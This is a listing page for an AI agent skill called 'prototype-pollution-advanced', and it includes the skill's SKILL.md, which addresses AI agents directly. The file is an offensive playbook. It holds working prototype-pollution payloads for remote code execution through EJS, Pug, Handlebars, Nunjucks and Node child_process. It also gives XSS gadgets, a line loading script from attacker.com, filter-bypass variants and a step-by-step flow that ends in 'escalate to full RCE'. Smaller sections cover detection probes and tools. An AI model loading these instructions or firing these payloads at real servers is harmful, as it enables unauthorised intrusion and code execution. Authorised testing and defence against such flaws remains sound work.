MCPInstall

prototype-pollution-advanced

Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.

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Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/yaklang/hack-skills --skill prototype-pollution-advanced
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads prototype-pollution-advanced automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation

AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load ../prototype-pollution/SKILL.md first for fundamentals (merge sinks, __proto__ vs constructor.prototype, basic probes).

0. RELATED ROUTING

  • prototype-pollution — LOAD FIRST for PP fundamentals, merge-sink detection, basic probes
  • ssti-server-side-template-injection — template engine RCE context (PP often triggers through template gadgets)
  • xss-cross-site-scripting — client-side PP gadgets ultimately achieve XSS

Advanced Reference

Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.


1. SERVER-SIDE PP → RCE

1.1 Node.js child_process.spawn — Shell/ENV Injection

When child_process.spawn or child_process.fork is called without explicit env/shell options, it inherits from Object.prototype:

// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code

Alternative ENV pollution:

{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}

1.2 EJS (Embedded JavaScript Templates)

EJS render() reads opts from object properties. Polluting outputFunctionName injects code into the compiled template function:

// Pollution payload:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}

// When EJS renders ANY template after pollution:
// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCE

Detection: any EJS res.render() call after pollution triggers it.

1.3 Pug (formerly Jade)

Pug's compiler reads block from object properties:

{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}

Alternative via self option:

{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}

1.4 Handlebars

Handlebars template compilation checks type and program on template AST nodes:

{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}

Simpler via allowProtoMethodsByDefault:

{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}

1.5 Nunjucks

{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}

1.6 Express res.render (Generic)

When Express calls res.render(), options merge with app.locals and res.locals. Polluted prototype properties appear as template variables:

{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}

2. CLIENT-SIDE PROTOTYPE POLLUTION

2.1 jQuery Gadgets

$.extend(true, {}, userInput) performs deep merge — classic PP sink.

After pollution, jQuery's HTML methods use polluted properties:

// Pollution:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';

// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body');  // may use polluted property

2.2 Lodash Gadgets

// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value)  // if path is attacker-controlled

// template() gadget:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')();  // sourceURL injected into Function constructor

2.3 Script Gadgets in Frameworks

"Script gadgets" are framework code paths that read from Object.prototype and perform dangerous operations:

FrameworkGadget PatternPolluted PropertyImpact
jQuery$.html(), element creationinnerHTML, srcXSS
Angular.js$interpolate__defineGetter__XSS
Vue.jsTemplate compilationtemplate, renderXSS
Ember.jsComponent renderingVarious view propertiesXSS
Backbone.js_.templatesourceURLXSS

2.4 DOM Property Pollution

Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these

3. DETECTION TECHNIQUES

3.1 Black-Box Server-Side Detection

Step 1: Inject and check
  POST /api/endpoint
  {"__proto__":{"polluted":"yes"}}
  
  Then: GET /api/anything
  Check if response contains "polluted" or behavior changes

Step 2: Error-based detection
  {"__proto__":{"toString":1}}
  → If server crashes or returns 500, toString was overwritten
  
  {"__proto__":{"valueOf":1}}
  → Same crash-based detection

Step 3: Response differential
  {"__proto__":{"status":555}}
  → Check if HTTP status code changes to 555
  
  {"__proto__":{"content-type":"text/plain"}}
  → Check if Content-Type header changes

3.2 Black-Box Client-Side Detection

// In browser console after interacting with the app:
Object.prototype.testPollution
// If returns a value → something polluted the prototype

// Automated: override defineProperty to detect writes
Object.defineProperty(Object.prototype, '__proto__', {
    set: function(v) { console.trace('PP detected!', v); }
});

3.3 Automated Tools

ToolTypePurpose
PPScanBurp ExtensionScans for server-side PP
server-side-prototype-pollutionBurp Extension (Gareth Heyes)Advanced server-side PP detection with multiple techniques
ppfuzzCLIFuzz for client-side PP via URL fragment/query
ppmapCLIMap client-side PP to known gadgets

4. BYPASS __proto__ FILTERS

4.1 constructor.prototype Path

// Instead of:
{"__proto__": {"polluted": "yes"}}

// Use:
{"constructor": {"prototype": {"polluted": "yes"}}}

4.2 Bracket Notation Variants

?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes
?__pro__proto__to__[polluted]=yes   (if filter strips __proto__ once)

4.3 JSON Key Variations

{"__proto__": {"a": 1}}
{"constructor": {"prototype": {"a": 1}}}
{"__proto__\u0000": {"a": 1}}

4.4 Key Distinction: Shallow vs Deep

Object.assign does NOT pollute prototype (shallow copy, safe). Only recursive/deep merge functions are vulnerable. Always verify the merge depth.


5. EXPLOITATION FLOW

1. Find merge sink (../prototype-pollution/SKILL.md Section 0)
   └── JSON body parsed and deep-merged into server object

2. Confirm pollution:
   └── {"__proto__":{"testxyz":"1"}} → check if testxyz appears globally

3. Identify technology stack:
   ├── Express + EJS → outputFunctionName gadget (Section 1.2)
   ├── Express + Pug → block gadget (Section 1.3)
   ├── Express + Handlebars → type/program gadget (Section 1.4)
   ├── Any Node.js with child_process → shell/NODE_OPTIONS (Section 1.1)
   ├── Client-side jQuery → DOM gadgets (Section 2.1)
   ├── Client-side Lodash → template/sourceURL (Section 2.2)
   └── Unknown → try KNOWN_GADGETS.md systematically

4. Craft RCE/XSS payload matching gadget

5. Verify with safe payload first (sleep / DNS callback)

6. Escalate to full RCE

6. DECISION TREE

Confirmed prototype pollution?
│
├── Server-side or client-side?
│   │
│   ├── SERVER-SIDE
│   │   ├── Template engine in use?
│   │   │   ├── EJS → __proto__.outputFunctionName (Section 1.2)
│   │   │   ├── Pug → __proto__.block (Section 1.3)
│   │   │   ├── Handlebars → __proto__.type (Section 1.4)
│   │   │   ├── Nunjucks → __proto__.type (Section 1.5)
│   │   │   └── Unknown → try each gadget from KNOWN_GADGETS.md
│   │   │
│   │   ├── child_process used anywhere?
│   │   │   ├── YES → __proto__.shell + NODE_OPTIONS (Section 1.1)
│   │   │   └── MAYBE → inject and trigger error to reveal stack
│   │   │
│   │   └── No known gadget?
│   │       ├── Try status code pollution: __proto__.status = 555
│   │       ├── Try header pollution: __proto__.content-type
│   │       └── Check KNOWN_GADGETS.md for framework match
│   │
│   └── CLIENT-SIDE
│       ├── jQuery loaded?
│       │   ├── YES → $.extend deep merge + DOM gadgets (Section 2.1)
│       │   └── Check ppmap for automated gadget detection
│       │
│       ├── Lodash loaded?
│       │   ├── YES → _.template sourceURL gadget (Section 2.2)
│       │   └── _.merge as both sink AND gadget
│       │
│       └── Framework (Angular/Vue/Ember)?
│           └── Script gadget lookup (Section 2.3)
│
├── __proto__ keyword filtered?
│   ├── Try constructor.prototype (Section 4.1)
│   ├── Try bracket notation (Section 4.2)
│   └── Try JSON key variations (Section 4.3)
│
└── Not confirmed yet?
    └── Go back to ../prototype-pollution/SKILL.md for detection

7. QUICK REFERENCE — KEY PAYLOADS

// EJS RCE
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}

// Pug RCE
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}

// child_process RCE (Node.js)
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}

// Lodash template XSS
{"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}

// Filter bypass (constructor path)
{"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}

// Safe detection probe
{"__proto__":{"pptest123":"polluted"}}

FAQ

What does the prototype-pollution-advanced skill do?

Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.

How do I install prototype-pollution-advanced?

Run npx skills add https://github.com/yaklang/hack-skills --skill prototype-pollution-advanced in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/prototype-pollution-advanced/ (personal) or .claude/skills/prototype-pollution-advanced/ (project).

Which AI agents can use prototype-pollution-advanced?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is prototype-pollution-advanced safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains prototype-pollution-advanced?

It is published by yaklang in yaklang/hack-skills. It has 3,556 recorded installs.

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